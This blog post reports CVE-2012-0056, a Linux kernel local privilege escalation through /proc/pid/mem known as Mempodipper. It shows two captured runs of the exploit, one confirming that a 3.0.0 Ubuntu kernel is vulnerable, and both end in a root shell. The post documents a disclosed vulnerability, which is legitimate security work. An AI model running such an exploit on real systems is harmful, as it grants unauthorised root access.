Linux local kernel privilege escalation to root

A new vulnerability (CVE-2012-0056) that affects almost 650 different builds of the Linux kernel builds allows effortless privilege escalation to root. It works by forking child processes to trick the self_exec_id check on /proc/pid/mem access, allowing the code to modify its own SUID and gain root.

CVE-2012-0056 $ ./mempodipper 
===============================
=          Mempodipper        =
=           by zx2c4          =
=         Jan 21, 2012        =
===============================
 
[+] Waiting for transferred fd in parent.
[+] Executing child from child fork.
[+] Opening parent mem /proc/6454/mem in child.
[+] Sending fd 3 to parent.
[+] Received fd at 5.
[+] Assigning fd 5 to stderr.
[+] Reading su for exit@plt.
[+] Resolved exit@plt to 0x402178.
[+] Seeking to offset 0x40216c.
[+] Executing su with shellcode.
sh-4.2# whoami
root
sh-4.2#

My own research shows that it also affects certain 3.0.0 kernels, so I’m not sure why that’s been omitted from listings. I’ll take more of a detailed look into the scope of the problem today, and update this post with the results.

The security researcher zx2c4 has released a technical description of the bug, as well as an exploit.

Update (2012-01-27 09:23): Yup, definitely vulnerable on 3.0.0:

gsutherland@ubuntu:~/cve-2012-0056/CVE-2012-0056$ uname -a
Linux ubuntu 3.0.0-12-generic #20-Ubuntu SMP Fri Oct 7 14:50:42 UTC 2011 i686 i686 i386 GNU/Linux
gsutherland@ubuntu:~/cve-2012-0056/CVE-2012-0056$ id
uid=1000(gsutherland) gid=1000(gsutherland) groups=1000(gsutherland),4(adm),20(dialout),24(cdrom),46(plugdev),116(lpadmin),118(admin),124(sambashare)
gsutherland@ubuntu:~/cve-2012-0056/CVE-2012-0056$ ./mempodipper
===============================
=          Mempodipper        =
=           by zx2c4          =
=         Jan 21, 2012        =
===============================

[+] Ptracing su to find next instruction without reading binary.
[+] Creating ptrace pipe.
[+] Forking ptrace child.
[+] Waiting for ptraced child to give output on syscalls.
[+] Ptrace_traceme'ing process.
[+] Error message written. Single stepping to find address.
[+] Resolved call address to 0x8049570.
[+] Opening socketpair.
[+] Waiting for transferred fd in parent.
[+] Executing child from child fork.
[+] Opening parent mem /proc/4594/mem in child.
[+] Sending fd 6 to parent.
[+] Received fd at 6.
[+] Assigning fd 6 to stderr.
[+] Calculating su padding.
[+] Seeking to offset 0x8049564.
[+] Executing su with shellcode.
# id
uid=0(root) gid=0(root) groups=0(root),4(adm),20(dialout),24(cdrom),46(plugdev),116(lpadmin),118(admin),124(sambashare),1000(gsutherland)
# whoami
root
#